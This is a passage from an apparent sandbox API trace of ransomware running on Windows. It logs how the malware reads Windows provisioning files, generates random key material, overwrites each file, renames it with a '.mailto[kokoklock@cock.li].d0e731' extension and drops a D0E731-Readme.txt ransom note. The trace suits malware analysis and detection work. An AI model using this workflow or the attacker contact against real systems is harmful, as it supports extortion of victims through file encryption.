BaseAddress=0x55ddcb8) returned 1 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.321] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x2c8bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c8bf7a8*=0x2c9, lpOverlapped=0x0) returned 1 [0086.321] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8bf770 | out: lpNewFilePointer=0x0) returned 1 [0086.321] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c9, lpNumberOfBytesWritten=0x2c8bf7a4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c8bf7a4*=0x2c9, lpOverlapped=0x0) returned 1 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c8bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2c8bf7a0*=0x20, lpOverlapped=0x0) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x8, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x2c8bf7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x2c8bf7e4*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x4, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x4, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x6c, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x55ddbc8*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x20, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c8bf7cc*=0x4, lpOverlapped=0x0) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.322] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.323] CloseHandle (hObject=0xa30) returned 1 [0086.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x341b218 [0086.323] wcscpy (in: _Dest=0x341b218, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" [0086.323] wcscat (in: _Dest=0x341b218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.323] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341b218) returned 1 [0086.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.324] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.324] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341b0c8) returned 1 [0086.324] RtlExitUserThread (Status=0x1) Thread: id = 1273 os_tid = 0x1314 [0085.214] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.246] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.247] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c93f980 | out: lpFileSize=0x2c93f980*=705) returned 1 [0086.247] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.247] ReadFile (in: hFile=0xa30, lpBuffer=0x2c93f954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x2c93f954*, lpNumberOfBytesRead=0x2c93f950*=0x4, lpOverlapped=0x0) returned 1 [0086.248] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.248] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd80 [0086.248] NtQuerySystemTime (in: CurrentTime=0x2c93f92c | out: CurrentTime=0x2c93f92c*=132121176441485318) returned 0x0 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x69494f30 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xe9fbe749 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x58d58929 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x36cd01d7 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x379c711f [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x3271dc76 [0086.248] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xf70d868f [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x4860fd83 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x957afdd8 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xa735e74a [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x91899448 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xbe27232b [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x31d0f24e [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x2a1aa83d [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xd528a79 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x45121dce [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x26d4cd6c [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x58955871 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x6362187f [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x389fd2e2 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xf57c0d74 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x310c356b [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x78bb31d3 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x44fc4887 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xd116c5fa [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x85374812 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x4d61ebae [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x6b278504 [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x8e4f9f4d [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0x3c77838b [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xe0e74a0c [0086.249] RtlRandom (in: Seed=0x2c93f938 | out: Seed=0x2c93f938) returned 0xd63e3218 [0086.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.260] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.260] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.260] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x2c93f92c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c93f92c*=0x2c1, lpOverlapped=0x0) returned 1 [0086.260] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c93f8f4 | out: lpNewFilePointer=0x0) returned 1 [0086.260] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c1, lpNumberOfBytesWritten=0x2c93f928, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c93f928*=0x2c1, lpOverlapped=0x0) returned 1 [0086.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.261] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.261] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.261] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c93f924, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2c93f924*=0x20, lpOverlapped=0x0) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c93f950*=0x8, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x2c93f968*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x2c93f968*, lpNumberOfBytesWritten=0x2c93f950*=0x4, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c93f950*=0x4, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c93f950*=0x6c, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x55ddbc8*, lpNumberOfBytesWritten=0x2c93f950*=0x20, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c93f950, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c93f950*=0x4, lpOverlapped=0x0) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.262] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.263] CloseHandle (hObject=0xa30) returned 1 [0086.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18a) returned 0x341a7f8 [0086.263] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" [0086.263] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.263] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.297] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.297] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.297] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.297] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341b218) returned 1 [0086.297] RtlExitUserThread (Status=0x1) Thread: id = 1274 os_tid = 0xf0c [0085.214] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.227] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.227] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c9bfa3c | out: lpFileSize=0x2c9bfa3c*=656) returned 1 [0086.227] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.227] ReadFile (in: hFile=0xa30, lpBuffer=0x2c9bfa10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x2c9bfa10*, lpNumberOfBytesRead=0x2c9bfa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.229] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd58 [0086.229] NtQuerySystemTime (in: CurrentTime=0x2c9bf9e8 | out: CurrentTime=0x2c9bf9e8*=132121176441173217) returned 0x0 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x4b02bdaf [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xb7e76508 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x78f3bfcb [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xf0f5bb63 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xf504154d [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x91a20dae [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x4294c874 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xdf22f450 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x2bc714ff [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xd8e9d820 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xac04b0da [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x71b1472 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x8893f828 [0086.229] RtlRandom (in: 